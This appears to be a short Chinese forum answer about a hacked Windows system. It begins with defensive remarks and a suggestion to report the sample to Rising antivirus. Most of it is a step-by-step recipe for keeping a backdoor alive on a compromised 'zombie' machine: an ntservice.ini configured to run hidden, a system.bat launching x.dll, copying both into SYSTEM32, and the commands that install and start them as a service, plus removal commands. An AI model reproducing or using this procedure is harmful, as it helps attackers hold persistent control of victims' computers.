系统文件可能被注入。这时，hacker会得到你的系统中的一个shell.但是，简单的系统文件被注入意味着开机后系统会恢复正常。
如果hacker写入了ini文件，并注册成服务，就不好杀了。
你可以将这个文件上报给瑞星。
mailcenter.rising.com.cn
参考：
1.建一个ntservice.ini文件,内容如下：
[Settings]
ServiceName = NTService （这行代表服务名）
LogEnable = 0
ProcCount = 1
[Process0]
CommandLine =system.bat （这行代表服务所要启动的文件）
PauseStart = 1000
PauseEnd = 1000
UserInterface = No （这行代表后台运行）
=========================================
2.建一个system.bat文件如下：
echo off
x.dll
========================================
3.把以上的x.dll
ntservice.ini， system.bat 全部COPY到肉鸡 的WINNT\SYSTEM32文件夹中。
=======================================
4. 安装：
ntservice.exe -install
net start ntservice
===========================================
5.卸载
net stop ntservice
ntservice.exe -remove